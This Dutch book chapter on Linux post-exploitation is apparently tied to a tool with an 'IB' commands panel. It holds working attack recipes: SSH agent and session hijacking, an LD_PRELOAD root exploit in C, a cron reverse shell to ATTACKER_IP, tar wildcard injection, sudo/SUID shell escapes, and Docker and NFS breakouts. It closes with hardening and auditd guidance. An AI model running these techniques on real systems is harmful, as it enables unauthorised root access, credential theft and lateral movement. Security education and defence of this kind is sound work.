Linux Post-Exploitatie

Als Windows het drukke stadscentrum is van de enterprise-wereld – luidruchtig, vol beweging, overal billboards en reclameborden – dan is Linux het platteland. Stiller. Minder opvallend. De servers staan in een hoekje van het datacenter, ze draaien al jaren zonder dat iemand ernaar omkijkt, en ze doen hun werk met de stille betrouwbaarheid van een dieselmotor uit de jaren tachtig.

En precies die kalmte maakt ze zo gevaarlijk.

Want terwijl iedereen gefocust is op Active Directory, Kerberos-tickets, en de nieuwste Windows-exploits, draait er op die vergeten Linux-server in de hoek een SSH-agent met forwarded keys naar de productiedatabase. Er staat een Ansible-configuratie met plaintext-wachtwoorden. Er is een cronjob die elke nacht als root een script draait dat world-writable is. En niemand kijkt ernaar, want “Linux is toch veiliger dan Windows?”

Spoiler: dat is het niet. Het is anders. De aanvalsoppervlakte is anders. De verdedigingsmechanismen zijn anders. De fouten die mensen maken zijn anders. Maar de fundamentele waarheid blijft dezelfde: elk systeem is precies zo veilig als de persoon die het beheert. En de gemiddelde Linux-beheerder lijdt aan hetzelfde optimisme-syndroom als zijn Windows-collega, alleen dan met meer baard en een sterker gevoel van morele superioriteit.

Dit hoofdstuk gaat over wat je doet nadat je een Linux-systeem hebt gecompromitteerd. De technieken om je positie te versterken, lateraal te bewegen, en privileges te escaleren in een wereld van bash, cron, en sudo.


SSH Agent Hijacking

SSH-keys zijn de standaard voor authenticatie op Linux-systemen. Geen wachtwoorden onthouden, geen brute force-risico, cryptografisch sterk. Het is de gouden standaard van authenticatie.

Behalve wanneer iemand SSH agent forwarding aanzet.

SSH agent forwarding is een convenience feature. Het idee is simpel: je hebt een SSH-key op je werkstation. Je logt in op server A. Vanuit server A wil je doorloggen naar server B, maar je key staat op je werkstation, niet op server A. Met agent forwarding stuurt server A het authenticatieverzoek terug naar je werkstation, dat de key gebruikt om te tekenen, en stuurt het antwoord terug. Je hoeft je private key nooit op server A te zetten.

Klinkt elegant. Is het ook. Tot iemand met root-toegang op server A ontdekt dat hij die forwarded agent socket kan gebruiken om als jou in te loggen op server B. Of server C. Of elke server waar jouw key toegang toe geeft.

Hoe het werkt

Wanneer je met agent forwarding inlogt op een server, maakt SSH een Unix-socket aan in /tmp:

/tmp/ssh-XXXX/agent.12345

Deze socket is de verbinding terug naar je werkstation. Iedereen die deze socket kan benaderen – en als root kun je alles benaderen – kan je agent gebruiken om verbindingen te authenticeren.

Stap voor stap

De IB command file linux_ssh_agent legt het hele proces uit:

# Stap 1: Zoek forwarded SSH agent sockets
find /tmp -type s -name 'agent.*' 2>/dev/null
ls -la /tmp/ssh-*/agent.*

# Stap 2: Check welke keys geladen zijn
for sock in /tmp/ssh-*/agent.*; do
    SSH_AUTH_SOCK=$sock ssh-add -l 2>/dev/null \
        && echo "^^ Found in: $sock"
done

# Stap 3: Gebruik de gevonden agent socket
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.12345
ssh-add -l

# Stap 4: SSH naar andere hosts met gestolen keys
ssh user@internal-target
ssh user@other-server

Dat is het. Vier stappen. Geen exploit, geen vulnerability, geen zero-day. Gewoon een feature die werkt zoals ontworpen – alleen is het ontwerp verschrikkelijk vanuit beveiligingsperspectief.

Permanent monitoring

Als je wilt weten wanneer er nieuwe agent sockets verschijnen (omdat gebruikers inloggen en weer uitloggen), kun je een eenvoudige monitor draaien:

while true; do
    for sock in /tmp/ssh-*/agent.*; do
        SSH_AUTH_SOCK=$sock ssh-add -l 2>/dev/null
    done
    sleep 60
done &

Dit controleert elke minuut op nieuwe agent sockets. Zodra een beheerder met agent forwarding inlogt, heb je zijn keys.

IB Tip: Zoek op linux_ssh_agent in het Commands-paneel voor het volledige agent hijacking-recept. Tip: als root kun je ook /proc/*/environ doorzoeken naar SSH_AUTH_SOCK variabelen van andere processen.

De implicatie

Bedenk wat dit betekent in de praktijk. Een senior engineer logt ’s ochtends in op een jumphost met agent forwarding aan. Vanuit die jumphost werkt hij op tien verschillende servers. Zijn agent socket staat open op de jumphost. Jij hebt root op die jumphost. Je hebt nu de keys van de senior engineer, en daarmee toegang tot alles waar hij bij kan.

En de senior engineer? Die merkt er niets van. Er is geen melding. Er is geen waarschuwing. Zijn SSH-sessie werkt gewoon. Hij heeft geen idee dat iemand anders zijn identiteit gebruikt om in te loggen op de productiedatabase.

Agent forwarding is het digitale equivalent van je huissleutel aan een haakje bij de voordeur hangen met een briefje “gebruik gerust”. Het is bedoeld om het leven makkelijker te maken, en dat doet het – voor iedereen.


SSH Session Hijacking

Als agent forwarding het stelen van iemands sleutels is, dan is session hijacking het overnemen van iemands auto terwijl de motor nog draait.

SSH ControlMaster is een feature waarmee meerdere SSH-sessies een enkele TCP-verbinding delen. De eerste verbinding maakt een Unix-socket aan (de “control socket”), en alle volgende verbindingen naar dezelfde host lopen via die bestaande verbinding. Sneller. Minder overhead. Geen herhaalde authenticatie.

En als je toegang hebt tot die control socket, kun je nieuwe sessies openen zonder je te authenticeren.

Hoe het werkt

De configuratie staat typisch in ~/.ssh/config:

Host *
    ControlMaster auto
    ControlPath /tmp/ssh-%r@%h:%p
    ControlPersist 10m

Dat ControlPersist 10m betekent dat de control socket tien minuten open blijft nadat de laatste sessie is gesloten. Tien minuten waarin iemand met toegang tot die socket nieuwe verbindingen kan openen.

Stap voor stap

# Stap 1: Zoek actieve ControlMaster sockets
find /tmp -path '*/ssh-*' -name 'agent.*' 2>/dev/null
ls -la /tmp/ssh-*/
find /home -name 'control-*' -o -name '*.sock' 2>/dev/null

# Stap 2: Zoek SSH config voor ControlMaster instellingen
grep -r "ControlMaster\|ControlPath\|ControlPersist" \
    /home/*/.ssh/config 2>/dev/null

# Stap 3: Check of de socket actief is
ssh -S /tmp/ssh-XXXX/agent.12345 -O check user@target

# Stap 4: Maak een nieuwe sessie via de bestaande socket
ssh -S /tmp/ssh-XXXX/agent.12345 user@target

# Stap 5: Forward een poort via de bestaande socket
ssh -S /tmp/ssh-XXXX/agent.12345 -O forward \
    -L 8080:internal:80 user@target

IB Tip: Zoek op linux_ssh_hijack in het Commands-paneel. Let op: ControlMaster sockets zijn alleen bruikbaar als root of als de eigenaar van de socket. Met root-rechten kun je elke socket gebruiken.

Het verschil met agent hijacking

Bij agent hijacking steel je de keys en kun je naar elke server waar die keys toegang toe geven. Bij session hijacking neem je een bestaande verbinding over en kun je alleen naar de server waar die verbinding mee is opgezet.

Maar session hijacking heeft een voordeel: het genereert geen nieuwe authenticatie-events. Er is geen login in de logs van de target-server. De bestaande sessie wordt gewoon hergebruikt. Het is het verschil tussen iemands sleutel kopieren (wat sporen achterlaat bij de slotenmaker) en simpelweg door de deur lopen die al openstaat.


LD_PRELOAD

LD_PRELOAD is een van die Linux-features waarvan je je afvraagt wie ooit heeft gedacht dat het een goed idee was. Het stelt je in staat om een shared library te specificeren die geladen wordt voordat alle andere libraries – inclusief de standaard C library. Elke functie in je library overschrijft de functie met dezelfde naam in de standaard libraries.

Het is oorspronkelijk bedoeld voor debugging en testing. In de praktijk is het een privilege escalation-vector die zo elegant is dat het bijna kunst is.

De voorwaarde

LD_PRELOAD-escalatie werkt wanneer aan twee voorwaarden is voldaan:

  1. Je kunt een programma draaien met sudo (zonder wachtwoord, of met een wachtwoord dat je kent).
  2. De sudoers-configuratie bevat env_keep += LD_PRELOAD.

Die tweede voorwaarde is cruciaal. Normaal gesproken stripted sudo gevaarlijke environment variables, waaronder LD_PRELOAD. Maar als een beheerder heeft besloten dat LD_PRELOAD behouden moet worden – en dat komt vaker voor dan je zou denken, vooral bij applicaties die custom libraries nodig hebben – dan is het game over.

Check of het mogelijk is

sudo -l
# Zoek naar: env_keep += LD_PRELOAD

De exploit

De IB command file linux_ldpreload bevat de volledige exploit:

// /tmp/evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

De _init() functie wordt automatisch uitgevoerd wanneer de library wordt geladen. Het eerste dat hij doet is LD_PRELOAD uit de environment verwijderen (om oneindige recursie te voorkomen). Dan zet hij de user ID naar 0 (root). Dan opent hij een bash shell met de -p flag (behoud privileges).

# Compileer de shared library
gcc -shared -fPIC -nostartfiles -o /tmp/evil.so /tmp/evil.c

# Inject via sudo
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/apache2
# Of elk ander programma dat je met sudo mag draaien:
sudo LD_PRELOAD=/tmp/evil.so find

Het maakt niet uit welk programma je met sudo draait. Het maakt niet uit wat dat programma doet. Zodra het programma start, wordt je library geladen, en je hebt een root shell voordat het programma ook maar een regel van zijn eigen code heeft uitgevoerd.

# Opruimen
rm /tmp/evil.so /tmp/evil.c

IB Tip: Zoek op linux_ldpreload in het Commands-paneel voor de volledige LD_PRELOAD exploit chain. Check altijd eerst sudo -l om te verifieren dat env_keep de variabele doorlaat.

Waarom dit nog steeds werkt

Je zou denken dat in het jaar 2026 niemand meer LD_PRELOAD in env_keep zet. Je zou het hopen. Maar de werkelijkheid is dat legacy-applicaties soms custom shared libraries nodig hebben die via LD_PRELOAD worden geladen, en de snelste manier om dat werkend te krijgen met sudo is – je raadt het al – env_keep += LD_PRELOAD toevoegen aan de sudoers file.

“Alleen tijdelijk.” “Alleen voor deze applicatie.” “We fixen het later.”

We weten hoe dat afloopt.


Ansible Enumeratie

Ansible is een configuration management tool die SSH gebruikt om servers te beheren. Geen agent nodig op de doelmachines – alleen SSH-toegang en Python. Het is populair, het is krachtig, en het slaat zijn configuratie op in YAML-bestanden die – als je geluk hebt – plaintext wachtwoorden bevatten.

Niet “als je geluk hebt” in de zin van “misschien, met een beetje moeite”. Meer in de zin van “in zeventig procent van de Ansible-installaties die we tegenkomen”.

Waar te zoeken

Ansible slaat zijn configuratie op in een handvol standaardlocaties:

# Zoek Ansible-configuratie
find / -name "*.yml" -path "*/ansible/*" 2>/dev/null | head -20

# Zoek Ansible vault-bestanden
find / -name "vault*" -path "*/ansible/*" 2>/dev/null

# Lees de inventory (host-lijst)
cat /etc/ansible/hosts 2>/dev/null

# Zoek wachtwoorden in de configuratie
grep -ri "ansible_ssh_pass\|ansible_become_pass\|vault_password" \
    /etc/ansible/ 2>/dev/null

IB Tip: Zoek op linux_ansible_enum in het Commands-paneel voor de Ansible-enumeratiecommando’s.

Wat je kunt vinden

De Ansible inventory (/etc/ansible/hosts of een custom inventory file) bevat de lijst van alle servers die door Ansible worden beheerd. Dat is op zichzelf al waardevolle informatie – het is een complete kaart van de infrastructuur, netjes georganiseerd in groepen.

Maar de echte prijs zit in de playbooks en variabelen:

# group_vars/all.yml (ja, dit soort dingen kom je tegen)
ansible_ssh_user: deploy
ansible_ssh_pass: Welk0m2024!
ansible_become_pass: SuperGeheim123

# Of in de inventory zelf:
[webservers]
web01 ansible_host=10.1.0.10 ansible_ssh_pass=web_password
web02 ansible_host=10.1.0.11 ansible_ssh_pass=web_password

Dat ansible_become_pass is het sudo-wachtwoord. Het ansible_ssh_pass is het SSH-wachtwoord. In plaintext. In een bestand dat leesbaar is voor iedereen met toegang tot de Ansible control node.

Ansible Vault

Verantwoordelijke beheerders gebruiken Ansible Vault om gevoelige gegevens te versleutelen. Maar zelfs dan:

  1. Het vault-wachtwoord staat ergens. Vaak in een bestand. Vaak in een environment variable. Vaak in de bash history.
  2. De vault wordt ontsleuteld bij elke Ansible run. Als je op het juiste moment kijkt, kun je de plaintext data onderscheppen.
  3. Sommige mensen gebruiken vault voor de wachtwoorden, maar vergeten de SSH-keys die naast de playbooks staan.
# Zoek vault-wachtwoordbestanden
find / -name ".vault_pass*" -o -name "vault_password*" 2>/dev/null

# Check de bash history voor vault-wachtwoorden
grep -i "vault" /home/*/.bash_history 2>/dev/null

# Check environment variabelen
grep -i "VAULT" /proc/*/environ 2>/dev/null

De cascade

Het mooie – of het verschrikkelijke, afhankelijk van je perspectief – aan Ansible-credentials is de cascading impact. Ansible beheert tientallen, soms honderden servers. Eén set credentials geeft je potentieel toegang tot het hele landschap.

Een single point of compromise. De Ansible control node is de sleutel tot het koninkrijk, en hij staat vaak op een server die “beveiligd” is met hetzelfde wachtwoord als alle andere servers.


Cron-based Privilege Escalation

Cron is het alarmklokje van Linux. Het wekt processen op regelmatige tijden, draait scripts, maakt backups, roept op tot logrotatie. Het bestaat al sinds de jaren zeventig – letterlijk ouder dan de meeste mensen die het gebruiken – en het heeft in al die tijd precies niets geleerd over beveiliging.

Het probleem is niet cron zelf. Het probleem is wat mensen in cron zetten.

Writable scripts in cron

Stap een: zoek cronjobs die als root draaien:

# Systeem cron jobs
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/

# Zoek writable scripts
find / -path /proc -prune -o -writable -type f 2>/dev/null \
    | grep -E '(\.sh|\.py|\.pl)'

Als je een script vindt dat (a) als root draait via cron, en (b) door jou beschrijfbaar is, dan heb je privilege escalation. Voeg je payload toe aan het script, wacht tot cron het uitvoert, en je hebt root.

# Voorbeeld: voeg een reverse shell toe aan een writable cron script
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh

De volgende keer dat cron dat script uitvoert – als root – krijg je een root shell.

Wildcard injection

Dit is een van de elegantste privilege escalation-technieken op Linux, en het werkt door een eigenaardigheid van hoe shells wildcards interpreteren.

Stel je een cronjob voor die een backup maakt:

# In /etc/crontab:
* * * * * root cd /opt/data && tar czf /tmp/backup.tar.gz *

Die * wordt door de shell geëxpandeerd naar alle bestanden in de directory. Maar tar interpreteert bestandsnamen die beginnen met -- als command-line opties. Als je bestanden aanmaakt met namen die eruitzien als tar-opties, voert tar die uit.

# Maak de payload
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh

# Maak de "optie-bestanden"
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

Wanneer cron de tar-opdracht uitvoert, expandeert * naar:

tar czf /tmp/backup.tar.gz --checkpoint=1 \
    --checkpoint-action=exec=sh shell.sh \
    shell.sh overige_bestanden...

Tar ziet --checkpoint=1 en --checkpoint-action=exec=sh shell.sh als opties, niet als bestandsnamen. Het voert shell.sh uit. Als root. Je shell.sh kopieert bash naar /tmp/rootbash en zet de SUID-bit. Daarna:

/tmp/rootbash -p
# Root shell.

IB Tip: Zoek op privesc_linux_cron in het Commands-paneel voor cron-enumeratie, SUID-escalatie, capabilities, en de wildcard injection techniek.

Cron monitoring

Als je niet kunt zien wat cron draait (omdat je geen root bent), kun je processen monitoren:

# Simpele process monitor (pspy alternatief)
watch -n 1 'ps aux | grep -v watch'

Of gebruik pspy, een tool die speciaal gemaakt is om cronjobs te detecteren zonder root-rechten. Het luistert naar process creation events en rapporteert elk nieuw proces, inclusief kortstondige processen die je met ps zou missen.


Andere Linux Privilege Escalation Technieken

Cron en LD_PRELOAD zijn niet de enige wegen naar root. Linux biedt een verrassend rijk landschap aan escalatie-mogelijkheden, elk het resultaat van een beheerder die op een dinsdag om half vijf een shortcut heeft genomen.

Writable /etc/passwd

Op een modern Linux-systeem staan wachtwoord-hashes in /etc/shadow, dat alleen door root leesbaar is. Maar het passwd-bestand zelf bevat nog steeds een veld voor het wachtwoord (het tweede veld, na de gebruikersnaam). Als dat veld een hash bevat in plaats van een x, gebruikt Linux die hash voor authenticatie.

En als /etc/passwd writable is:

ls -la /etc/passwd
# Als writable:
openssl passwd -1 hacked
# Output: $1$salt$hash
# Voeg een root-gebruiker toe:
echo 'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Login als hacker met wachtwoord "hacked" -> root shell

Writable /etc/passwd is zeldzaam op moderne systemen. Maar “zeldzaam” en “onmogelijk” zijn twee heel verschillende woorden, en die vergeten Docker-container met slordig geconfigureerde file permissions bewijst dat elke maand weer.

SUID en SGID Binaries

SUID (Set User ID) is een bestandspermissie die ervoor zorgt dat een programma draait met de rechten van de eigenaar in plaats van de gebruiker die het uitvoert. Als root eigenaar is van een SUID-binary, draait die binary als root, ongeacht wie hem start.

# Zoek SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Zoek SGID binaries
find / -perm -2000 -type f 2>/dev/null

Niet elke SUID-binary is exploiteerbaar. Maar sommige zijn dat wel, en de lijst is langer dan je zou verwachten:

# GTFOBins exploits voor SUID binaries:

# nmap (oude versies met interactive mode)
nmap --interactive
!sh

# find
find . -exec /bin/sh -p \;

# vim
vim -c ':!sh'

# python
python -c 'import os; os.execl("/bin/sh","sh","-p")'

# bash (als bash zelf SUID heeft)
bash -p

GTFOBins (https://gtfobins.github.io/) is de encyclopedie van SUID/sudo-exploits. Als je een binary vindt, check GTFOBins. De kans is groot dat iemand al heeft uitgevogeld hoe je er een shell mee opent.

Capabilities

Linux capabilities zijn een fijnmaziger alternatief voor SUID. In plaats van een binary volledige root-rechten te geven, kun je specifieke capabilities toekennen. cap_net_bind_service laat een programma luisteren op privileged poorten. cap_dac_read_search laat het alle bestanden lezen. cap_setuid laat het van user ID wisselen.

# Zoek binaries met capabilities
getcap -r / 2>/dev/null

Interessante capabilities voor escalatie:

# cap_setuid+ep op Python:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_read_search+ep:
# Kan alle bestanden lezen, inclusief /etc/shadow

# cap_net_bind_service+ep:
# Bind op privileged poorten (niet direct escalatie,
# maar nuttig voor phishing/redirection)

Sudo misconfiguraties

sudo -l is het eerste commando dat je draait op elk gecompromitteerd Linux-systeem. Het toont welke commando’s je met sudo mag uitvoeren, en het antwoord is vaak verbijsterend:

sudo -l

# Typische misconfiguraties:
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!sh'

# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# Typ: !sh

# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \;

# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# (ALL) NOPASSWD: /usr/bin/env
sudo env /bin/bash

# (ALL) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

Elk van deze commando’s start een shell als root. En ze staan allemaal in de sudoers file met NOPASSWD – wat betekent dat de beheerder expliciet heeft geconfigureerd dat deze commando’s zonder wachtwoord als root mogen draaien.

De redenering is meestal: “De gebruiker heeft vim nodig om configuratiebestanden te bewerken.” Correct. Maar vim kan ook een shell starten. En dat is een feit dat de beheerder niet kende, of negeerde, of allebei.

Docker Breakout

Docker-containers draaien standaard als root. Als de Docker-socket (/var/run/docker.sock) toegankelijk is voor je gebruiker, kun je uitbreken naar de host:

# Check of je lid bent van de docker-groep
id | grep docker

# Mount het host-filesysteem in een container
docker run -v /:/host -it alpine chroot /host

# Je bent nu root op de host

Dit is zo simpel en zo verwoestend dat het bijna niet te geloven is. Lidmaatschap van de docker-groep is in de praktijk equivalent aan root-toegang. En toch voegen beheerders gebruikers toe aan de docker-groep “zodat ze containers kunnen draaien” zonder na te denken over de implicaties.

NFS no_root_squash

Network File System (NFS) heeft een optie genaamd no_root_squash die ervoor zorgt dat bestanden aangemaakt door root op de client ook eigendom zijn van root op de server. Normaal gesproken “squasht” NFS de root-gebruiker naar nobody om te voorkomen dat een client root-bestanden kan aanmaken.

Maar met no_root_squash:

# Op de aanvalsmachine (als root):
mount -o rw VICTIM_IP:/share /mnt

# Maak een SUID bash
cp /bin/bash /mnt/rootbash
chmod +s /mnt/rootbash

# Op het target:
/share/rootbash -p
# Root shell
# Check NFS exports
showmount -e VICTIM_IP
cat /etc/exports
# Zoek naar: no_root_squash

Verdediging

“Linux is veiliger dan Windows.”

Dat is zo’n uitspraak die je hoort op conferenties, in boardrooms, en op Reddit-threads waar mensen elkaar de maat nemen over hun keuze van besturingssysteem. En het is precies het soort uitspraak dat leidt tot de situatie die we zojuist hebben beschreven.

Want het probleem is niet dat Linux inherent onveilig is. Linux heeft uitstekende beveiligingsmechanismen. Het heeft file permissions, SELinux, AppArmor, seccomp, capabilities, namespaces, cgroups – een heel arsenaal aan tools om systemen te vergrendelen. Het probleem is dat niemand ze gebruikt.

Of preciezer: mensen gebruiken ze tot het moment dat iets niet werkt, en dan schakelen ze alles uit “om het probleem op te lossen”. SELinux in enforcing mode? “Daar krijgen we errors van.” chmod 777? “Dan werkt het in ieder geval.” LD_PRELOAD in env_keep? “Anders start de applicatie niet.”

Elke beveiligingsmaatregel die in de weg staat van productiviteit wordt binnen een week omzeild, uitgeschakeld, of genegeerd. Dat is geen Linux-probleem. Dat is een mensenprobleem. Maar het manifesteert zich op Linux met een speciale ironie, omdat de mensen die het hardst roepen dat Linux veiliger is, vaak dezelfde mensen zijn die chmod 777 typen alsof het een oplossing is.

Goed. Genoeg cynisme. Hier is wat je daadwerkelijk kunt doen.

SSH Hardening

# /etc/ssh/sshd_config

# Schakel agent forwarding uit
AllowAgentForwarding no

# Schakel TCP forwarding uit
AllowTcpForwarding no

# Beperk toegang tot specifieke gebruikers
AllowUsers admin deploy

# Schakel root login uit
PermitRootLogin no

# Gebruik alleen key-based authenticatie
PasswordAuthentication no
PubkeyAuthentication yes

# Beperk max sessies
MaxSessions 2

# Log alles
LogLevel VERBOSE

Agent forwarding uitzetten is de meest impactvolle maatregel. Het elimineert agent hijacking volledig. Ja, het betekent dat beheerders hun keys op elke server moeten zetten, of een jump host moeten gebruiken met ProxyJump in plaats van agent forwarding. Dat is een kleine ongemak vergeleken met het risico.

Auditd

Linux heeft een ingebouwd audit framework dat alles kan loggen: bestandstoegang, processtarts, systeemaanroepen, netwerk-activiteit.

# Monitor SUID/SGID changes
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat \
    -F auid>=1000 -k perm_mod

# Monitor sudo gebruik
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/sudoers.d/ -p wa -k sudoers_change

# Monitor cron wijzigingen
-w /etc/crontab -p wa -k cron_mod
-w /etc/cron.d/ -p wa -k cron_mod

# Monitor SSH configuratie
-w /etc/ssh/sshd_config -p wa -k ssh_config

# Monitor passwd/shadow
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change

# Monitor LD_PRELOAD gebruik
-a always,exit -F arch=b64 -S execve \
    -F key=ld_preload_usage

Het instellen van auditd kost een uur. Het doorlezen van de logs kost een eternity. Maar het verschil tussen een organisatie die auditd draait en eentje die dat niet doet, is het verschil tussen “we weten dat we gehackt zijn” en “we hebben geen idee wat er is gebeurd.”

File Integrity Monitoring

Tools als AIDE (Advanced Intrusion Detection Environment) of OSSEC controleren of systeembestanden zijn gewijzigd:

# AIDE initialiseren
aide --init

# Regelmatig controleren (via cron, uiteraard)
aide --check

Als iemand /etc/passwd wijzigt, een SUID-bit zet op een binary, of een cronjob toevoegt, genereert AIDE een alert. Het is niet sexy. Het genereert veel false positives. Maar het werkt.

Sudo hardening

# /etc/sudoers (via visudo!)

# Verwijder LD_PRELOAD uit env_keep
Defaults !env_keep += "LD_PRELOAD"

# Beperk sudo-commando's tot specifieke paden
# FOUT:
# operator ALL=(ALL) NOPASSWD: /usr/bin/vim
# BETER:
# operator ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart httpd

# Gebruik NOPASSWD alleen voor specifieke, niet-escapable commando's
# Vermijd: vim, less, more, find, python, perl, ruby, env, awk, sed

# Log alle sudo-activiteit
Defaults logfile="/var/log/sudo.log"
Defaults log_input, log_output

De gouden regel: geef gebruikers nooit sudo-toegang tot interactieve programma’s (editors, pagers, scripting-talen) met NOPASSWD. Als een programma een shell kan openen, is sudo-toegang tot dat programma gelijk aan root-toegang.

Docker hardening

# Verwijder onnodige gebruikers uit de docker-groep
gpasswd -d username docker

# Gebruik rootless Docker
# https://docs.docker.com/engine/security/rootless/

# Beperk container capabilities
docker run --cap-drop ALL --cap-add NET_BIND_SERVICE myapp

# Gebruik read-only file systems
docker run --read-only myapp

# Blokkeer toegang tot de Docker socket
chmod 660 /var/run/docker.sock

NFS hardening

# /etc/exports
# FOUT:
# /data *(rw,no_root_squash)
# GOED:
# /data 10.1.0.0/24(rw,root_squash,no_subtree_check)

Gebruik altijd root_squash (de standaard). Beperk NFS-exports tot specifieke IP-ranges. En vraag je af of je NFS uberhaupt nodig hebt – in veel gevallen is een modernere oplossing als SSHFS of een object store een beter alternatief.


De cynicus sluit af

Er is een prachtige ironie in de wereld van Linux-beveiliging. De community die het hardst schreeuwt over de onveiligheid van Windows, is dezelfde community die Docker-containers draait als root, SSH agent forwarding standaard aan laat staan, en chmod 777 beschouwt als een valide troubleshooting-stap.

“Maar Linux heeft geen virussen!”

Nee. Linux heeft geen virussen in de traditionele zin, omdat niemand de moeite neemt om virussen te schrijven voor een platform dat drie procent van de desktopmarkt heeft. Maar Linux heeft wel misconfiguraties. Heeft wel writable cronjobs. Heeft wel SUID-binaries op plekken waar ze niet horen. Heeft wel beheerders die LD_PRELOAD in de sudoers zetten en dat vervolgens vergeten.

Het verschil tussen een gehackt Windows-systeem en een gehackt Linux-systeem is niet dat het ene moeilijker te hacken is. Het verschil is dat de Windows-beheerder het meestal binnen een dag merkt (omdat er een alert afgaat, of omdat iemand klaagt dat zijn desktop raar doet), terwijl de Linux-beheerder het drie maanden later ontdekt wanneer hij toevallig eens inlogt op die server die “gewoon draait” en merkt dat er een onbekende gebruiker is aangemaakt.

Of helemaal niet ontdekt.

Want het ergste aan Linux-post-exploitatie is niet hoe makkelijk het is. Het ergste is hoe onzichtbaar het is. Een root-compromittatie op een Linux-server die niet wordt gemonitord – en de meeste worden niet gemonitord – kan maanden of jaren onopgemerkt blijven. Geen SIEM. Geen EDR. Geen auditd. Gewoon een server die draait, en een aanvaller die meekijkt.

“Linux is veiliger.”

Nee. Linux kan veiliger zijn. Als je het configureert. Als je het monitort. Als je het bijhoudt. Als je niet alles op 777 zet zodra het even niet werkt.

Maar dat geldt voor elk besturingssysteem. Beveiliging is geen eigenschap van software. Het is een eigenschap van de mensen die de software beheren. En de mensen? Die zijn op elk platform even incompetent.


Referentietabel

Techniek Doel Vereisten IB Command MITRE ATT&CK
SSH Agent Hijacking Lateral movement Root of zelfde user linux_ssh_agent T1563.001
SSH Session Hijack Lateral movement Root of zelfde user linux_ssh_hijack T1563
LD_PRELOAD Injection Privilege escalation sudo + env_keep linux_ldpreload T1574.006
Ansible Enumeration Credential access Leestoegang config linux_ansible_enum T1552.001
Cron Writable Script Privilege escalation Writable cron script privesc_linux_cron T1053.003
Cron Wildcard Injection Privilege escalation Write in cron dir privesc_linux_cron T1053.003
SUID Binary Abuse Privilege escalation SUID op exploitable binary privesc_linux_cron T1548.001
Capabilities Abuse Privilege escalation cap_setuid of similar privesc_linux_cron T1548
Writable /etc/passwd Privilege escalation Write op /etc/passwd privesc_linux_cron T1078.003
Sudo Misconfig Privilege escalation Sudo op interactief prog privesc_linux_cron T1548.003
Docker Breakout Privilege escalation Docker-groep lid T1611
NFS no_root_squash Privilege escalation NFS mount + root lokaal T1548

Samenvatting

Linux post-exploitatie is een spel van geduld en observatie. Waar Windows-omgevingen je overladen met Active Directory-objecten en Kerberos-tickets, biedt Linux een stiller maar niet minder rijk landschap van escalatie-mogelijkheden.

De rode draad door al deze technieken is hetzelfde: convenience vs. security. SSH agent forwarding is handig. LD_PRELOAD in env_keep is handig. NOPASSWD sudo op vim is handig. En elke keer dat iemand kiest voor handig boven veilig, opent er een deur.

De verdediging is niet ingewikkeld. Schakel agent forwarding uit. Audit je sudoers file. Monitor je cronjobs. Draai auditd. Het zijn geen revolutionaire maatregelen. Het zijn de basics. Maar de basics zijn precies wat de meeste organisaties overslaan, omdat ze te druk zijn met het evalueren van de nieuwste AI-powered security-oplossing die 250.000 euro per jaar kost en precies hetzelfde doet als een goed geconfigureerd auditd – alleen met een mooier dashboard.

In het volgende hoofdstuk kijken we naar wat er gebeurt als je al deze technieken combineert: de volledige aanvalsketen, van initial access tot domain admin. Van de eerste phishing-mail tot de Golden Ticket. Het grote plaatje.